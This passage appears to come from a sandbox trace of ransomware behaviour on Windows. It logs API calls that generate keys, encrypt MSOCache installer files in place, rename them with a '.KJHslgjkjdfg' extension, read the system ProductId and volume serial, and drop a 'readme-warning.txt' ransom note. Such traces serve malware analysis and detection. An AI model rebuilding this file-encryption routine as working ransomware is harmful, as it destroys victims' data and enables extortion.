lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0162.780] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0162.780] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0162.780] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0162.780] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0162.780] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0162.780] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0162.780] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.780] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.780] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x73c, lpOverlapped=0x0) returned 1 [0162.780] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x740, dwBufLen=0x740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x740) returned 1 [0162.781] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.781] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x740, lpOverlapped=0x0) returned 1 [0162.781] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.781] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.781] SetEndOfFile (hFile=0x124) returned 1 [0162.783] GetProcessHeap () returned 0x2ef0000 [0162.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0162.783] GetProcessHeap () returned 0x2ef0000 [0162.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0162.783] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0162.784] CloseHandle (hObject=0x124) returned 1 [0162.784] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0162.784] GetProcessHeap () returned 0x2ef0000 [0162.784] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0162.784] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.784] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0162.784] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.784] GetProcessHeap () returned 0x2ef0000 [0162.784] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0162.784] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.784] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0162.784] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.784] GetProcessHeap () returned 0x2ef0000 [0162.784] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0162.784] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.784] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0162.784] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.784] GetProcessHeap () returned 0x2ef0000 [0162.784] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0162.784] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.784] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0162.784] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.784] GetProcessHeap () returned 0x2ef0000 [0162.785] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0162.785] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.785] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0162.785] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.785] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0162.785] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0162.785] RegCloseKey (hKey=0x124) returned 0x0 [0162.785] GetProcessHeap () returned 0x2ef0000 [0162.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0162.785] GetProcessHeap () returned 0x2ef0000 [0162.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0162.785] GetProcessHeap () returned 0x2ef0000 [0162.786] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0162.786] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0162.786] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0162.786] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.786] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0162.786] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.786] GetProcessHeap () returned 0x2ef0000 [0162.786] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0162.786] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0162.786] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0162.786] GetProcessHeap () returned 0x2ef0000 [0162.786] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0162.786] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0162.786] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0162.789] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0162.790] CloseHandle (hObject=0x124) returned 1 [0162.790] GetProcessHeap () returned 0x2ef0000 [0162.790] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0162.790] GetProcessHeap () returned 0x2ef0000 [0162.790] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0162.791] GetProcessHeap () returned 0x2ef0000 [0162.791] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0162.791] GetProcessHeap () returned 0x2ef0000 [0162.791] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0162.791] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0162.791] GetProcessHeap () returned 0x2ef0000 [0162.791] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0162.791] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0162.791] GetProcessHeap () returned 0x2ef0000 [0162.791] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0162.791] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0162.797] GetProcessHeap () returned 0x2ef0000 [0162.797] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0162.797] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0162.797] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0162.797] GetProcessHeap () returned 0x2ef0000 [0162.797] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0162.797] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0162.801] GetProcessHeap () returned 0x2ef0000 [0162.801] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0162.801] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0162.801] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0162.801] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xf, lpOverlapped=0x0) returned 1 [0162.805] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0162.805] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.805] GetProcessHeap () returned 0x2ef0000 [0162.805] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0162.805] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0162.805] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.805] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0162.805] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0162.805] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0162.805] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0162.806] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0162.806] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0162.806] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0162.806] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.806] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.806] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x1861, lpOverlapped=0x0) returned 1 [0162.807] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x1870, dwBufLen=0x1870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x1870) returned 1 [0162.807] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.807] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x1870, lpOverlapped=0x0) returned 1 [0162.808] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.808] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.808] SetEndOfFile (hFile=0x124) returned 1 [0162.810] GetProcessHeap () returned 0x2ef0000 [0162.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0162.810] GetProcessHeap () returned 0x2ef0000 [0162.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0162.810] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0162.812] CloseHandle (hObject=0x124) returned 1 [0162.812] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0162.812] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0162.812] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=50823389) returned 1 [0162.813] GetProcessHeap () returned 0x2ef0000 [0162.813] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0162.813] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0162.813] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.813] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x3, lpOverlapped=0x0) returned 1 [0162.820] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0162.820] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.820] GetProcessHeap () returned 0x2ef0000 [0162.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0162.820] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0162.820] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.820] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0162.820] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0162.820] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0162.820] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0162.820] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0162.820] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0162.820] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0162.821] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.821] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0162.821] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0162.829] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0162.834] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.834] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0162.835] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.835] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: 